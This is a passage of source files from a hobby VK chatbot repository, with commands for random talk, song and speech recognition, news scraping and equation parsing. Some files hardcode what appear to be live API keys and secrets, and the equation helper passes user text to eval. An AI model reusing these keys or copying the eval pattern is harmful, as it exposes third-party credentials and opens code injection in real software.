attachment = msg\n elif isinstance(msg, dict):\n k = msg.keys()\n answer = msg['msg'] if 'msg' in k else '...'\n attachment = msg['attachment'] if \\\n 'attachment' in k else None\n keyboard = msg['keyboard'] if 'keyboard' in k else None\n else:\n answer = msg\n if first:\n outid = self.vk_api.messages.send(peer_id=id,\n message=answer,\n v=self.api_version,\n random_id=rid,\n attachment=attachment,\n keyboard=self.\n make_keyboard(\n *keyboard\n )\n ) # sending message\n first = False\n else:\n self.vk_api.messages.edit(\n peer_id=id,\n message=msg,\n v=self.api_version,\n message_id=outid,\n attachment=attachment,)\n\n def __init__(self, token, _group_id, v, main_system: ChatSystem):\n \"\"\"\n initialising Vk chat\n :param token: Group token to use group features\n :param _group_id: group id\n :param v: api version\n :param main_system: ChatSystem class\n \"\"\"\n super().__init__(main_system)\n self.group_id = int(_group_id) # for group bots\n self.api_version = float(v) # api\n self.vk_api = vk.API(vk.Session(access_token=token)) # setting vk api\n self.get_server()\n\n def get_server(self) -> None:\n \"\"\"\n Getting long poll server\n :return: Nothing\n \"\"\"\n self.LPS = self.vk_api.groups.getLongPollServer(\n group_id=self.group_id,\n v=self.api_version) # getting server\n\n def send_requsest(self, ts):\n \"\"\"\n sending requests to long poll server and getting updates\n :param ts: send id\n :return:\n \"\"\"\n link = f'{self.LPS[\"server\"]}?act=a_ch' \\\n f'eck&key={self.LPS[\"key\"]}&ts={ts}&wait=25' # setting link\n res = requests.post(link).json() # response\n if 'failed' in res.keys():\n if res['failed'] in (3, 4, 2): # errors\n self.get_server()\n return None\n return res\n\n def run(self):\n \"\"\"\n getting updates from long poll serer and make message\n :return:\n \"\"\"\n while 1:\n try: # for 'None' answer\n res = self.send_requsest(self.LPS['ts']) # first request\n while 1:\n res = self.send_requsest(res['ts']) # next requests\n print(res)\n self.msg_id += 1\n self.input(res, self.msg_id)\n except Exception as e:\n raise e\n\n def message_parse(self, res):\n \"\"\"\n parsing input message to dict.\n Available recursion for forward messages\n :param res: input message as json(dict)\n :return:\n \"\"\"\n r_msg = ''\n r_userid = res['object']['message']['from_id'] # who send\n session = self.main_system.db_session.create_session()\n is_fwding = session.query(self.main_system.db_session.Settings).filter(\n (self.main_system.db_session.Settings.user_id == r_userid) & (\n self.main_system.db_session.Settings.name == \"enable_fwd\")\n ).first()\n attachments = res['object']['message']['attachments'] if res[\n 'object']['message']['attachments'] else []\n # if is_fwding is None and res['object']['message']['fwd_messages'] or\\\n # '-fwd' not in res['object']['message']['text'] or \\\n # not res['object']['message'][\n # 'fwd_messages']: # for forward messages\n if (is_fwding is None or '-fwd' in res[\n 'object'\n ]['message'][\n 'text'\n ]) and res[\n 'object'\n ]['message']['fwd_messages']: # для вложенных сообщений\n r_msg = res['object']['message']['text'][\n :res['object']['message']['text'].find('-fwd')]\n\n def find_fwd(fwd):\n msg = ''\n attach = []\n for message in fwd:\n msg += message['text']\n attach.extend(message['attachments'])\n try:\n ans = find_fwd(message['fwd_messages'])\n msg += ans[0]\n attach.extend(ans[1])\n except KeyError:\n continue\n return msg, attach\n\n ans = find_fwd(res['object']['message']['fwd_messages'])\n r_msg += ans[0]\n attachments.extend(ans[1])\n\n r_msg += res['object']['message']['text'][\n res['object']['message']['text'].find('-fwd') + 4::]\n else:\n r_msg = res['object']['message']['text'].strip()\n r_date = res['object']['message']['date'] # date\n r_sendid = res['object']['message']['peer_id'] # from send\n r_ctype = 'vk'\n r_attachments = {'image': [], 'sound': [], 'doc': []}\n for attachment in attachments: # attachments\n if attachment['type'] == 'photo':\n r_attachments['image'].append(\n attachment['photo']['sizes'][-1]['url'])\n elif attachment['type'] == 'doc':\n if attachment['doc']['ext'] in {'wav', 'mp3', 'wave'}:\n r_attachments['sound'].append(\n (attachment['doc']['url'],\n attachment['doc']['ext'].replace(\"wave\", 'wav')))\n # 0: link; 1: extension\n elif attachment['type'] == 'audio':\n r_attachments['sound'].append(\n (attachment['audio']['url'], 'mp3'))\n elif attachment['type'] == 'audio_message':\n r_attachments['sound'].append(\n (attachment['audio_message']['link_mp3'], 'mp3'))\n dbs = self.main_system.db_session\n session = dbs.create_session()\n set = session.query(dbs.Settings).filter(\n (dbs.Settings.user_id == r_sendid) & (\n dbs.Settings.name == \"active\")).first()\n if set:\n if r_msg.find('end') != -1: # exit from active commands\n if r_msg[:r_msg.find(\n 'end')] in self.main_system.defaut_command_symbols:\n set.delete()\n session.commit()\n else:\n r_msg = set.value + ' ' + r_msg\n for i in self.find_id.finditer(r_msg): # for @links\n r_msg = r_msg[:i.start():] + i.group(1) + r_msg[i.end()::]\n return {'msg': r_msg,\n 'date': r_date,\n 'sendid': r_sendid,\n 'type': r_ctype,\n 'attachments': r_attachments,\n 'userid': r_userid}\n\n def upload_doc(self, dir, from_id, type) -> str:\n \"\"\"\n Upload document\n :type type: 'audio_message' or 'doc'\n :param dir: update from..\n :param from_id: user/chat id to upload file\n :param type: document type\n :return: string to pull with return message\n \"\"\"\n pfile = requests.post(\n self.vk_api.docs.getMessagesUploadServer(\n type=type,\n peer_id=from_id,\n v=self.api_version)['upload_url'],\n files={'file': open(dir, 'rb')}).json()['file']\n doc = self.vk_api.docs.save(file=pfile, v=self.api_version)[type]\n return f\"doc{doc['owner_id']}_{doc['id']}\"\n\n def upload_photo(self, dir, from_id):\n pfile = requests.post(\n self.vk_api.photos.getMessagesUploadServer(\n peer_id=from_id,\n v=self.api_version\n )['upload_url'],\n files={'photo': open(dir, 'rb')}).json()\n doc = self.vk_api.photos.saveMessagesPhoto(server=pfile['server'],\n photo=pfile['photo'],\n hash=pfile['hash'],\n v=self.api_version)[0]\n return f\"photo{doc['owner_id']}_{doc['id']}\"\n\n @staticmethod\n def make_keyboard(button_names: List[List[Tuple[str, str] or str]],\n one_time=True):\n \"\"\"\n making keyboard with buttons\n max allow 40 buttons: 6 in row;\n 10 in col\n :param button_names: List of rows with buttons\n button: tuple of label(and send message) and color or only name\n :param one_time: save keyboard\n :return:\n \"\"\"\n if button_names is None:\n return None\n res = dict()\n res['one_time'] = one_time\n buttons = []\n for rows in button_names:\n row = []\n for item in rows:\n if isinstance(item, tuple):\n button = {\n 'action': {'type': 'text',\n 'label': item[0]},\n 'color': item[1]\n }\n else:\n button = {\n 'action': {'type': 'text',\n 'label': item},\n }\n row.append(button)\n buttons.append(row)\n res['buttons'] = buttons\n return json.dumps(res)" }, { "alpha_fraction": 0.4875970184803009, "alphanum_fraction": 0.49246689677238464, "avg_line_length": 31.52970314025879, "blob_id": "8affc11b2003509e3dca3240f7594bbfa3d3fc81", "content_id": "12b14bee486f5103adc054da4302db047a2e4eee", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6815, "license_type": "no_license", "max_line_length": 79, "num_lines": 202, "path": "/commands/random_talks.py", "repo_name": "Alex1um/Reworked-bot", "src_encoding": "UTF-8", "text": "from Core.core import ChatSystem, fix_paths\nimport glob\nimport random\nimport pickle\nimport re\nfrom functools import partial\nimport gtts\nimport time\nimport os\n\n\ndef table_file(params, system: ChatSystem, message):\n \"\"\"\n Setting to control random_talks file\n :param params: not setting params\n :param system:\n :param message:\n :return: answer to a request\n \"\"\"\n session = message.get_session()\n tr_file = message.get_setting(session, 'random_talks_file')\n value = tr_file.value if tr_file else None\n param = message.params[len(message.params) - len(params) - 1]\n if param:\n if param == 'default':\n session.delete(tr_file)\n value = None\n elif param == 'current':\n return value if value else 'youtube'\n elif param == 'list':\n return '\\n'.join(\n map(lambda x: x[x.rfind('/') + 1:x.rfind('.'):],\n fix_paths(glob.glob(\"commands/files/*.table\")))\n )\n elif params:\n name = params[0]\n if param == 'add':\n open(f'commands/files/{name}.table', 'w')\n value = name\n elif param == 'switch':\n if name in map(lambda x: x[x.rfind('/') + 1:x.rfind('.'):],\n fix_paths(glob.glob(\"commands/files/*.table\"))):\n value = name\n else:\n return 'Файл не найден'\n elif param == 'rename':\n os.rename(f'commands/files/{value}.table',\n f'commands/files/{name}.table')\n value = name\n else:\n return \"недостаточно параметров\", False\n else:\n return 'Нет параметров. Введите нежный параметр', False\n if value:\n if tr_file:\n tr_file.value = value\n else:\n message.add_setting(session, 'random_talks_file', value)\n session.commit()\n return 'Success'\n\n\ndef enable_record(params, system: ChatSystem, message):\n \"\"\"\n\n :param params:\n :param system:\n :param message:\n :return:\n \"\"\"\n session = message.get_session()\n sett = message.get_setting(session, 'random_talks_disable')\n param = message.params[-1]\n if param:\n if param in {'1', 'True', 'true', 'yes'}:\n if sett:\n session.delete(sett)\n elif param in {'0', 'False', 'false', 'no'}:\n if sett is None:\n message.add_setting(session, 'random_talks_disable', 'yes')\n else:\n return 'False' if sett else 'True'\n session.commit()\n return 'Success'\n return \"недостаточно параметров\", False\n\n\ndef dothis(message):\n \"\"\"\n Make random sentence from special file\n :param message:\n :return: random sentence\n \"\"\"\n session = message.get_session()\n tr_file = message.get_setting(session, 'random_talks_file')\n file = tr_file.value if tr_file else 'youtube'\n try:\n with open(f\"commands/files/{file}.table\", 'rb') as f:\n w_table = pickle.load(f)\n except Exception as f:\n return str(f)\n try:\n count = random.randint(11, 100)\n word = random.choice(\n list(w_table.keys())\n ) if not message.params else message.params[0].lower()\n res = word.title()\n i = 0\n while i != count - 1:\n word = random.choice(w_table[word]).lower()\n if res[-1] in {'.', '!', '?'}:\n res += ' ' + word.title()\n else:\n res += ' ' + word\n i += 1\n if word[0] == ',':\n count += 1\n except Exception as f:\n pass\n finally:\n res += '.'\n res = res.replace(' ,', ', ').replace(\n '.,', '.').replace(' .', '.').replace('..', '.').replace(',.', '.')\n if '-audio' in message.special_params:\n\n tmp_name = f\"temp/{str(time.time())}.tmpmp3\"\n gtts.gTTS(res, lang='ru').save(tmp_name)\n\n attach = message.cls.upload_doc(tmp_name, 'audio_message')\n os.remove(tmp_name)\n if '?notext' in message.special_params:\n res = None\n return res, attach\n return res\n\n\ndef update_table(message):\n \"\"\"\n parse string and update file\n can be disabled\n :param message:\n :return:\n \"\"\"\n session = message.get_session()\n tr_file = message.get_setting(session, 'random_talks_file')\n sett = message.get_setting(session, 'random_talks_disable')\n file = tr_file.value if tr_file else 'youtube'\n if sett is None:\n try:\n with open(f\"commands/files/{file}.table\", 'rb') as f:\n w_table = pickle.load(f)\n except EOFError:\n w_table = dict()\n words = message.msg.lower().replace(\n '(', ''\n ).replace(\n ')', ''\n ).replace('[', '').replace(']', '').replace('\\n', ' ') # format\n while ' ' in words or '**' in words:\n words = words.replace(' ', ' ').replace('**', '*')\n words = words.split()\n setted = set(words)\n words_str = ' '.join(words).replace(' , ', ' ,')\n for w in setted:\n n = list(\n set(\n map(\n lambda x: x.split()[\n 1\n ], re.findall(fr'{w} [\\S\\,\\.]+', words_str))))\n if len(n) > 0:\n if w in w_table.keys():\n w_table[w].extend(n)\n else:\n w_table[w] = n\n with open(f\"commands/files/{file}.table\", 'wb') as f:\n pickle.dump(w_table, f)\n\n\ndef main():\n setts = {\n 'random_talks': {\n 'table': { # for table\n 'add': (table_file, 5),\n 'default': (table_file, 0),\n 'switch': (table_file, 0),\n 'current': (table_file, 0),\n 'list': (table_file, 0),\n 'rename': (table_file, 5)},\n 'record': { # for record\n 'True': (enable_record, 0),\n 'False': (enable_record, 0),\n 'current': (enable_record, 0)}}}\n return (\"random_talk\",\n \"talk\",\n dothis,\n '!talk {необязательно - слово, с которого начинается}\\n'\n 'Рандомная фраза, основанная на сообщениях пользователей боту.'\n 'Вы можите поменять таблицу со словами, используя настройки',\n 0,\n None,\n 'Рандомная фраза'), (update_table, None, None), setts\n" }, { "alpha_fraction": 0.4433962404727936, "alphanum_fraction": 0.4456733763217926, "avg_line_length": 33.53932571411133, "blob_id": "b8623ad88cdc14037d89f377b4e0b887afbcebd8", "content_id": "2bc1d1d8fe28d29275e3fa87d1ce336251573314", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3276, "license_type": "no_license", "max_line_length": 80, "num_lines": 89, "path": "/commands/sound_name.py", "repo_name": "Alex1um/Reworked-bot", "src_encoding": "UTF-8", "text": "import os\nimport re\nimport time\nimport urllib.request\n\nfrom Core.core import *\nfrom acrcloud.recognizer import ACRCloudRecognizer\n\nconfig = {\n 'host': 'identify-eu-west-1.acrcloud.com',\n 'access_key': 'd21cbdca7a7047fcf3480ba1260933c7',\n 'access_secret': 'u7fjeQULm6egJFu4mqWYjYRtHhfwRITuBnCG3n0V',\n 'debug': False,\n 'timeout': 10\n }\n\nacrcloud = ACRCloudRecognizer(config)\n\n\ndef dothis(message):\n \"\"\"\n get sound name with acrcloud\n :param message:\n :return: possible song names\n \"\"\"\n session = message.get_session()\n ans = ''\n current_cmd = message.get_setting(session, 'active')\n if message.attachments['sound']:\n try:\n for attachment in message.attachments['sound']:\n dir = os.path.abspath(os.curdir) + \\\n '/temp/' + \\\n time.strftime(\"%Y%m%d-%H%M%S\") + \\\n '.' + \\\n attachment[1]\n urllib.request.urlretrieve(attachment[0], dir)\n\n res = eval(acrcloud.recognize_by_file(dir, 0))\n print(res)\n if 'error' in res['status']['msg'].lower():\n if current_cmd:\n message.delete_active(session)\n return 'Произошла ошибка'\n if res['status'][\"msg\"] != \"No result\":\n # artist = re.search(r'\"artists\":\\[{\"name\":\"([^\\\"]+)\"}]', a)\n for song in res[\"metadata\"][\"music\"]:\n artist = ', '.join(map(lambda x: x['name'],\n song[\"artists\"]))\n # title = re.search(r'\"title\":\"([^\\\"]+)\"', a)\n title = song['title']\n new_song = f'>>{artist} - {title}'\n if new_song not in ans:\n ans += f'>>{artist} - {title}'\n ans += '\\n'\n else:\n ans += 'Не найдено'\n yield ans\n ans += \"\\n\"\n os.remove(dir)\n except Exception as f:\n ans += \"Произошла непредвиденная ошибка: \" + str(f) + \"\\n\"\n raise f\n finally:\n if current_cmd:\n message.delete_active(session)\n yield str(ans)\n elif 'Выход' in message.params and current_cmd:\n session.delete(current_cmd)\n return {'msg': 'Успешно!', 'keyboard': [[], False]}\n else:\n if current_cmd is None:\n message.add_setting(session, 'active', 'name')\n yield {'msg': 'Прикрепите аудио или напишите Выход',\n 'keyboard': [[[('Выход', 'negative')]], False]\n }\n\n\ndef main():\n return (\"sound_name\",\n \"name\",\n dothis,\n \"name\\n\"\n \"Найти назваине песни.\\n\"\n \"Для работы нужно прикрепить аудио - голосовое сообщение или\"\n \" музыкальный файл\",\n 1,\n None,\n \"Найти название песни\"), None, None\n" }, { "alpha_fraction": 0.5718432664871216, "alphanum_fraction": 0.578374445438385, "avg_line_length": 27.70833396911621, "blob_id": "ede69a1d9c4631516ca30a2c0b51991205ee899f", "content_id": "f02beaf5c2cac0bfeb62e47064faef52c22b3ff4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1378, "license_type": "no_license", "max_line_length": 75, "num_lines": 48, "path": "/commands/site_parsers/news.py", "repo_name": "Alex1um/Reworked-bot", "src_encoding": "UTF-8", "text": "from bs4 import BeautifulSoup\nimport requests\n\n\ndef parse_triberkomo() -> set:\n \"\"\"\n Parsing site triberkomo\n :return: set of news\n \"\"\"\n res = requests.get(r'http://triberkomo.ru/')\n res.encoding = 'utf-8'\n titles = BeautifulSoup(res.content, 'html.parser').findAll('div', {\n 'class': 'strokanew'})\n return set(map(lambda item: (\n item.contents[5].get_text().strip(),\n item.contents[1].get_text().lower()), titles))\n\n\ndef parse_yandex() -> set:\n \"\"\"\n Parsing site yandex\n :return: set of news\n \"\"\"\n res = requests.get(r'https://yandex.ru/news')\n res.encoding = 'utf-8'\n titles = BeautifulSoup(res.content, 'html.parser').findAll('div', {\n 'class': 'story story_view_short story_notags'})\n ans = set()\n for obj in titles:\n title_date = obj.find('div', {'class': 'story__date'}).text.split()\n time = title_date[-1]\n title = ' '.join(title_date[:-1])\n contents = obj.find('div', {'class': 'story__topic'}).contents\n content = contents[0].text.lower()\n # topic = contents[0].text.lower()\n ans |= {(content + '\\n' + time, title)}\n return ans\n\n\ndef apply_news(struct: set) -> None:\n \"\"\"\n apply parsed news to set\n :param struct:\n :return: None\n \"\"\"\n struct |= parse_yandex()\n struct |= parse_triberkomo()\n print('News updated!')\n" }, { "alpha_fraction": 0.48178136348724365, "alphanum_fraction": 0.4842105209827423, "avg_line_length": 28.77108383178711, "blob_id": "197a64aa3b6e7610ac72898b9252ed5485fd6f2e", "content_id": "80cbf26f8c65c51d0239dc11e592566624ee8b92", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2470, "license_type": "no_license", "max_line_length": 75, "num_lines": 83, "path": "/chats/command_promt.py", "repo_name": "Alex1um/Reworked-bot", "src_encoding": "UTF-8", "text": "from Core.core import Chat, Message, ChatSystem\nimport datetime\n\n\nclass SimpleChat(Chat):\n \"\"\"\n Chat from input\n \"\"\"\n\n def __init__(self, main_system=ChatSystem):\n super().__init__(main_system)\n\n def run(self):\n \"\"\"\n Just make message from input()\n :return:\n \"\"\"\n msgid = 0\n while True:\n msg = input()\n if msg:\n Message('io', msgid, msg, self).start()\n msgid += 1\n\n def send(self, res, id, rid, attachment=None, keyboard=None):\n \"\"\"\n print returned text\n :param res: command return text\n :param id: message id\n :param rid: send id\n :param attachment: attachments but not working there\n :param keyboard: Chat keyboard if available\n :return:\n \"\"\"\n if not isinstance(res, (tuple, list)):\n res = [res]\n for text in res:\n print(text)\n\n def message_parse(self, res):\n \"\"\"\n Parsing input message\n :param res: input text\n :return: Dict:\n 'msg': full message without edit\n 'date': message date\n 'sendid' send to\n 'type': chat type\n 'attachments': attachments\n 'userid': from user\n \"\"\"\n r_msg = ''\n r_msg = res\n r_date = datetime.datetime.now()\n r_sendid = 1\n r_ctype = 'io'\n r_attachments = {'image': [], 'sound': [], 'doc': []}\n r_userid = 0\n\n dbs = self.main_system.db_session\n session = dbs.create_session()\n set = session.query(dbs.Settings).filter(\n (dbs.Settings.user_id == r_sendid) & (\n dbs.Settings.name == \"active\")).first()\n if set:\n if r_msg.find('end') != -1: # exit from active commands\n if r_msg[:r_msg.find(\n 'end')] in self.main_system.defaut_command_symbols:\n set.delete()\n session.commit()\n else:\n r_msg = set.value + ' ' + r_msg\n for i in self.find_id.finditer(r_msg): # for @links\n r_msg = r_msg[:i.start():] + i.group(1) + r_msg[i.end()::]\n return {'msg': r_msg,\n 'date': r_date,\n 'sendid': r_sendid,\n 'type': r_ctype,\n 'attachments': r_attachments,\n 'userid': r_userid}\n\n def make_keyboard(self, *args, **kwargs):\n return None" }, { "alpha_fraction": 0.4794546365737915, "alphanum_fraction": 0.48399925231933594, "avg_line_length": 31.20121955871582, "blob_id": "08f3853ca148272a63b81e88921b3cca3ded43db", "content_id": "5c65e7d253a5acab85387dc4948c7e8efa8a0073", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5311, "license_type": "no_license", "max_line_length": 80, "num_lines": 164, "path": "/commands/stupidAI/tools.py", "repo_name": "Alex1um/Reworked-bot", "src_encoding": "UTF-8", "text": "import math\nimport re\nfrom string import ascii_lowercase\nfrom typing import *\n# import numpy as np\n# from scipy.optimize import fsolve\nfrom bs4 import BeautifulSoup as bs\nimport requests\n\nnames = {i for i in dir(math) if i[:2] != '__'}\nnames |= set(ascii_lowercase)\n\n\ndef make_fun_stable(f: Callable, default=None) -> Callable:\n \"\"\"\n Used for equations\n :param f: function\n :param default: if error\n :return: stable function\n \"\"\"\n def new_fun(*args, **kwargs):\n nonlocal f, default\n try:\n return f(*args, **kwargs)\n except Exception:\n return default\n\n return new_fun\n\n\nclass ChemicalEquations:\n \"\"\"\n Class to work with chemical reactions\n \"\"\"\n _elements = {'pa', 'cd', 'er', 'n', 'am', 'fr', 'au', 'db', 'po', 'nh',\n 'k', 'ra', 'f', 'pu', 'cf', 'co', 'eu', 'rn', 'cs', 'mn',\n 'ag', 'sn', 'he', 'np', 'nb', 'bk', 'ga', 'fl', 'es', 'y',\n 'zn', 'al', 'sm', 'h', 'na', 'pr', 'pm', 'cr', 'tm', 'p',\n 'cu', 'gd', 'ce', 'v', 'in', 'md', 'tc', 'rb', 'br', 'pt',\n 'sg', 'tb', 'ge', 'cm', 'rg', 'ac', 'b', 'fm', 'mo', 'nd',\n 'li', 'mc', 'ne', 'ir', 'pd', 'ta', 'ba', 'sb', 'dy', 'og',\n 'at', 'rf', 'ca', 'lr', 'u', 'yb', 'i', 'lv', 'cn', 'kr',\n 'mg', 'bi', 'c', 'mt', 'fe', 's', 'hs', 'ts', 'os', 'hg',\n 'sr', 'la', 'ho', 'ru', 'si', 'zr', 'xe', 'as', 'bh', 'ds',\n 'lu', 'ar', 'tl', 'te', 'rh', 'pb', 'th', 'be', 'hf', 'no',\n 'ti', 'o', 'se', 'cl', 're', 'w', 'sc', 'ni'}\n _re_subs = re.compile(r'(\\d?\\w+)[^+\\-]?')\n\n @staticmethod\n def is_equation(s: str) -> str:\n \"\"\"\n checks for the correctness of the equation\n :param s: input string\n :return:\n \"\"\"\n eq = ''\n for matter in ChemicalEquations._re_subs.findall(s.lower()):\n for i in range(1, len(matter)):\n if all(\n i not in ChemicalEquations._elements for i in (\n matter[i], matter[i - 1:i + 1], matter[i: i + 2]\n )\n ) and not matter[i].isdigit():\n break\n else:\n eq += matter + '+'\n return eq[:-1]\n\n @staticmethod\n def solve_equation(reaction: str) -> str and str or None and None:\n \"\"\"\n get solved equation\n :param reaction:\n :return: link for image\n \"\"\"\n req = 'https://chemiday.com/search/'\n params = {\"q\": reaction,\n \"m\": \"board\"}\n\n res = requests.get(req, params)\n res.encoding = 'utf-8'\n parsed = bs(res.content, 'html.parser')\n img = parsed.find(\"img\", {\"alt\": \"Реакция\"})\n addit = parsed.find(\"div\", {'class': \"rus\"})\n return (\"https://chemiday.com\" + img[\n 'src'\n ], addit.contents[0]['href']) if img and addit else (None, None)\n\n\n# print(ChemicalEquations.solve_equation2('Hcl+Naoh'))\n# print(ChemicalEquations.is_equation(\"Сделай это: H2SO4 + NaOH\"))\n# print(1)\n# print(ChemicalEquations.is_equation(\"вот уравнение: nacl+AgNO3\"))\n# print(ChemicalEquations.is_equation(\"naoh + hcl\"))\n# print(ChemicalEquations.is_equation('h2o2+KMnO4+h2so4'))\n\nclass Equations:\n \"\"\"\n Class to work with math equations\n \"\"\"\n __wrong_power = re.compile(r'\\d[a-z(]')\n __any_sym = re.compile(r'[+\\-*/()^\\[\\]a-z\\d\\s]+')\n re_any_word = re.compile(r'[a-z]+')\n __re_pow = re.compile(r'\\*\\*(\\d*)')\n\n @staticmethod\n def is_equation(s: str) -> bool:\n \"\"\"\n checks for the correct equation in text\n :param s: input text\n :return: bool value\n \"\"\"\n if s != ' ':\n return False if set(\n Equations.re_any_word.findall(s.lower())) - names else True\n\n @staticmethod\n def parse_eq(eq: str) -> Callable and int:\n \"\"\"\n parsing equation and make callable function\n :param eq: input equation\n :return: stable python function\n \"\"\"\n parsed = eq\n a = Equations.__wrong_power.findall(parsed)\n for e in a:\n ne = e[0] + '*' + e[1]\n parsed = parsed.replace(e, ne).replace('^', '**')\n try:\n return make_fun_stable(eval('lambda x: ' + parsed)), \\\n int(max(Equations.__re_pow.findall(parsed),\n key=lambda x: int(x)))\n except Exception as f:\n return f\n\n @staticmethod\n def solve_equation(eq: Callable, roots: int) -> set or Exception:\n \"\"\"\n not working now\n :param eq:\n :param roots:\n :return:\n \"\"\"\n try:\n a = \"not working yet\"\n return set(a)\n except Exception as f:\n return f\n\n @staticmethod\n def find_eq(text) -> tuple:\n return tuple(\n i for i in Equations.__any_sym.findall(text)\n if Equations.is_equation(i))\n\n\n# eqs = Equations.find_eq(\"x**2-2x-5\")\n# for eq in eqs:\n# eq, roots = Equations.parse_eq(eq)\n# rest = Equations.solve_equation(eq, roots)\n# print(rest)\n# res = 'x ∈ ' + str(rest) if len(rest) <= roots else None\n# print(res)\n# stat = 'acpt'\n" }, { "alpha_fraction": 0.5374387502670288, "alphanum_fraction": 0.5381385684013367, "avg_line_length": 37.612613677978516, "blob_id": "7462c293d37727e9766f3ac23cf33f08b3886792", "content_id": "90dfad97a9fa3cc2dc73874e8f90d6e169c6d7ef", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4348, "license_type": "no_license", "max_line_length": 78, "num_lines": 111, "path": "/Core/models/db_session.py", "repo_name": "Alex1um/Reworked-bot", "src_encoding": "UTF-8", "text": "import sqlalchemy\nimport sqlalchemy.orm as orm\nfrom sqlalchemy.orm import Session\nimport sqlalchemy.ext.declarative as dec\n\n\nclass DataBaseSession:\n __factory = None\n\n def __init__(self, db_file: str):\n \"\"\"\n Connecting with sql database. Creating session owned classes to\n avoid global vars\n :param db_file: path to sql file\n \"\"\"\n self.SqlAlchemyBase = dec.declarative_base()\n\n if not db_file or not db_file.strip():\n raise Exception(\"Необходимо указать файл базы данных.\")\n\n conn_str = f'sqlite:///{db_file.strip()}?check_same_thread=False'\n\n print(f\"Подключение к базе данных по адресу {conn_str}\")\n\n class User(self.SqlAlchemyBase):\n \"\"\"\n User class with id in table; id in chat; chat type and permission\n level\n \"\"\"\n __tablename__ = 'users'\n\n table_id = sqlalchemy.Column(sqlalchemy.Integer,\n primary_key=True,\n autoincrement=True)\n id = sqlalchemy.Column(sqlalchemy.Integer)\n type = sqlalchemy.Column(sqlalchemy.String)\n level = sqlalchemy.Column(sqlalchemy.Integer, default=0)\n\n def __init__(self, id, type, permission_level):\n self.id = id\n self.type = type\n self.permission_level = permission_level\n\n class CommandTable(self.SqlAlchemyBase):\n \"\"\"\n Table for commands:\n activates - string with keys to run commands\n name - command name. used as key in dict of commands\n level - required permission level to run command\n command_symbol - symbol to run command\n help - command description\n shot_help - short command description. Appears in the list\n of all commands\n \"\"\"\n __tablename__ = 'commands'\n\n # id = sqlalchemy.Column(sqlalchemy.Integer,\n # autoincrement=True,\n # primary_key=True)\n name = sqlalchemy.Column(sqlalchemy.String, primary_key=True)\n activates = sqlalchemy.Column(sqlalchemy.String)\n level = sqlalchemy.Column(sqlalchemy.Integer, default=0)\n command_symbol = sqlalchemy.Column(sqlalchemy.String, default='!')\n help = sqlalchemy.Column(sqlalchemy.String, nullable=True)\n short_help = sqlalchemy.Column(sqlalchemy.String, nullable=True)\n\n def __init__(self,\n name,\n activates,\n help=None,\n permission_level=0,\n sym=None,\n short_help=None,\n default_sym=\"!\"):\n self.name = name\n self.activates = activates\n self.level = permission_level\n self.command_symbol = sym if sym else default_sym\n self.help = help\n self.short_help = short_help\n\n class Settings(self.SqlAlchemyBase):\n \"\"\"\n Additional table with settings. Uses by commands to store vars.\n \"\"\"\n __tablename__ = 'settings'\n\n set_id = sqlalchemy.Column(sqlalchemy.Integer,\n autoincrement=True,\n primary_key=True)\n user_id = sqlalchemy.Column(sqlalchemy.Integer,\n sqlalchemy.ForeignKey('users.id'))\n name = sqlalchemy.Column(sqlalchemy.String)\n value = sqlalchemy.Column(sqlalchemy.String, nullable=True)\n\n def __init__(self, user_id, name, value=None):\n self.user_id = user_id\n self.name = name\n self.value = value\n\n self.User = User\n self.Settings = Settings\n self.CommandTable = CommandTable\n\n self.engine = sqlalchemy.create_engine(conn_str, echo=False)\n self.__factory = orm.sessionmaker(bind=self.engine)\n\n self.SqlAlchemyBase.metadata.create_all(self.engine)\n\n def create_session(self) -> Session:\n return self.__factory()\n\n" }, { "alpha_fraction": 0.48469778895378113, "alphanum_fraction": 0.4858454465866089, "avg_line_length": 32.08860778808594, "blob_id": "ff8c1ea852aaa846b4187e6e104f07c23b48b614", "content_id": "6b7e0a27a5b55ab61fec2851ea6c2dfa9a41f2ee", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2836, "license_type": "no_license", "max_line_length": 76, "num_lines": 79, "path": "/commands/stt.py", "repo_name": "Alex1um/Reworked-bot", "src_encoding": "UTF-8", "text": "import time\nimport urllib\nimport subprocess\nfrom Core.core import *\nfrom speech_recognition import AudioFile, Recognizer\n\nlangs = {'ru': 'ru-RUS', 'en': 'en-EN'}\nwitkey = 'GQ2ITHTRXYD2WVOPYOZ3AEY3NRBLNIS3'\n\n\ndef dothis(message):\n \"\"\"\n From speech to text\n :param message:\n :return: text\n \"\"\"\n session = message.get_session()\n ans = ''\n current_cmd = message.get_setting(session, 'active')\n if message.attachments['sound']:\n try:\n r = Recognizer()\n mode = 'google'\n lang = 'ru-RUS'\n ans = ''\n for attachment in message.attachments['sound']:\n ext = attachment[1]\n path = os.path.abspath(os.curdir)\n fname = time.strftime(\"%Y%m%d-%H%M%S\") + '.'\n dir = path + '/temp/' + fname\n urllib.request.urlretrieve(\n attachment[0], dir + ext) # getting file\n\n if ext != 'wav':\n subprocess.run(['ffmpeg', '-i', dir + ext, dir + 'wav'])\n os.remove(dir + ext)\n\n with AudioFile(dir + 'wav') as source:\n song = r.record(source)\n os.remove(dir + 'wav')\n\n if \"en\" in message.params:\n lang = 'en-EN'\n if 'wit' in message.params:\n mode = 'wit'\n recg = r.recognize_google(\n song,\n language=lang\n ) if mode == 'google' else r.recognize_wit(song, witkey)\n ans += f\">>>>>>{recg}\\n\\n\"\n yield ans\n except Exception as f:\n ans += \"Произошла непредвиденная ошибка: \" + str(f) + \"\\n\"\n finally:\n if current_cmd:\n message.delete_active(session)\n yield str(ans)\n elif 'Выход' in message.params and current_cmd:\n message.delete_active(session)\n yield {'msg': 'Успешно!', 'keyboard': [[], False]}\n else:\n if current_cmd is None:\n message.add_setting(session, 'active', 'stt')\n yield {'msg': 'Прикрепите аудио или напишите Выход',\n 'keyboard': [[[('Выход', 'negative')]], False]\n }\n\n\ndef main():\n return (\"speech_to_text\",\n 'stt',\n dothis,\n 'stt {язык(ru - по умолчанию | en)} {система(google - '\n 'по умолчанию | wit)}\\n'\n 'Прикрепите аудио - голосовое сообщение 